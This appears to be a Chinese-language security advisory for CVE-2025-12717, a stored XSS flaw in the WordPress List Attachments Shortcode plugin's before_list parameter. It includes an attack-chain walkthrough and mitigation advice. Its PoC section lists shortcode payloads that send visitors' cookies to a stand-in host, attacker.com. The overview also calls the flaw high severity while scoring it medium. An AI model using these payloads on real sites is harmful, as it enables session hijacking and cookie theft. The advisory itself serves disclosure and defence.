IPBUF安全漏洞报告
English
CVE-2025-12717 CVSS 6.4 中危

CVE-2025-12717 WordPress List Attachments Shortcode插件存储型XSS漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12717
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
List Attachments Shortcode plugin for WordPress

相关标签

CVE-2025-12717存储型XSSWordPress插件漏洞List Attachments Shortcode跨站脚本攻击短代码注入CWE-79WordPress安全CVSS 6.4中危漏洞

漏洞概述

CVE-2025-12717是WordPress插件List Attachments Shortcode中的一个高危存储型跨站脚本(XSS)漏洞。该插件用于在WordPress页面中列出附件,其0.4.1a及之前版本在处理[list-attachments]短代码的before_list参数时存在严重的输入验证和输出转义不足问题。攻击者利用此漏洞可通过在before_list参数中注入恶意JavaScript代码,当其他用户访问包含该短代码的页面时,恶意脚本将自动执行,从而实现会话劫持、敏感数据窃取、恶意重定向等攻击目的。由于漏洞为存储型XSS,恶意代码会永久保存在数据库中,影响范围广泛。攻击者需要拥有WordPress的Author(作者)级别或更高权限才能利用此漏洞。CVSS 3.1评分6.4(中危),攻击向量为网络,复杂度低,权限需求低,无需用户交互。

技术细节

该漏洞的根本原因在于List Attachments Shortcode插件在处理短代码属性时缺乏充分的输入验证和输出转义。具体问题出现在class-list-attachments-shortcode.php文件的第47行和第85行附近,before_list参数的用户输入被直接拼接到HTML输出中而未经过适当的sanitization和escaping处理。攻击者通过WordPress后台创建或编辑文章时,在[list-attachments]短代码中注入恶意的before_list参数值,例如:before_list参数可包含<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>等payload。由于插件未对该参数进行HTML实体转义或内容安全策略(CSP)过滤,恶意脚本会被永久存储在WordPress数据库的post_content字段中。当其他用户访问包含该短代码的页面时,WordPress会渲染页面内容并输出未转义的恶意脚本,浏览器将其识别为可执行脚本并执行,从而完成攻击链。攻击者可利用此漏洞窃取管理员Cookie、劫持会话、执行任意操作或传播恶意内容。

攻击链分析

STEP 1
1. 侦察阶段
攻击者识别目标网站使用WordPress CMS,并确认安装了List Attachments Shortcode插件,版本在0.4.1a及以下
STEP 2
2. 初始访问
攻击者获取WordPress账户(Author级别或更高),可通过凭据泄露、暴力破解或社会工程学手段
STEP 3
3. 漏洞利用-注入恶意代码
攻击者创建或编辑文章,在[list-attachments]短代码的before_list参数中注入恶意JavaScript代码,如<script>alert(document.cookie)</script>
STEP 4
4. 持久化
恶意短代码随文章内容永久存储在WordPress数据库的wp_posts表中,成为存储型XSS
STEP 5
5. 触发执行
当普通用户或管理员访问包含该短代码的页面时,WordPress渲染页面输出未转义的恶意脚本
STEP 6
6. 攻击成功
恶意JavaScript在受害者浏览器中执行,可窃取会话Cookie、劫持账户、执行任意操作或传播恶意内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
WordPress Stored XSS PoC - List Attachments Shortcode // Attacker with Author+ role creates/edits a post and inserts this shortcode: [list-attachments before_list='<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] // Alternative PoC using event handler (bypasses some filters): [list-attachments before_list='<img src=x onerror="fetch(\'https://attacker.com/log?data=\'+btoa(document.cookie))">'] // More sophisticated payload for session hijacking: [list-attachments before_list='<script>document.body.innerHTML+="<img src=https://attacker.com/log?cookie="+encodeURIComponent(document.cookie)+">";</script>'] // When any user visits the page containing this shortcode, the XSS payload executes // Exploitation flow: 1. Attacker logs into WordPress with Author+ account 2. Creates new post or edits existing post 3. Inserts malicious shortcode in post content 4. Publishes/saves the post 5. Malicious script stored in database (persistent) 6. Victim visits the affected page 7. XSS payload executes in victim's browser

影响范围

List Attachments Shortcode plugin <= 0.4.1a (confirmed vulnerable)
List Attachments Shortcode plugin < 0.6a (likely affected based on code references)

防御指南

临时缓解措施
临时缓解措施:在WordPress后台将List Attachments Shortcode插件升级到最新可用版本;若暂时无法升级,可临时禁用该插件;限制用户注册和权限分配,确保只有可信用户拥有Author级别及以上权限;启用Wordfence等安全插件的防火墙规则;考虑使用CSP(Content-Security-Policy)响应头限制脚本执行;监控WordPress日志关注异常的短代码使用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表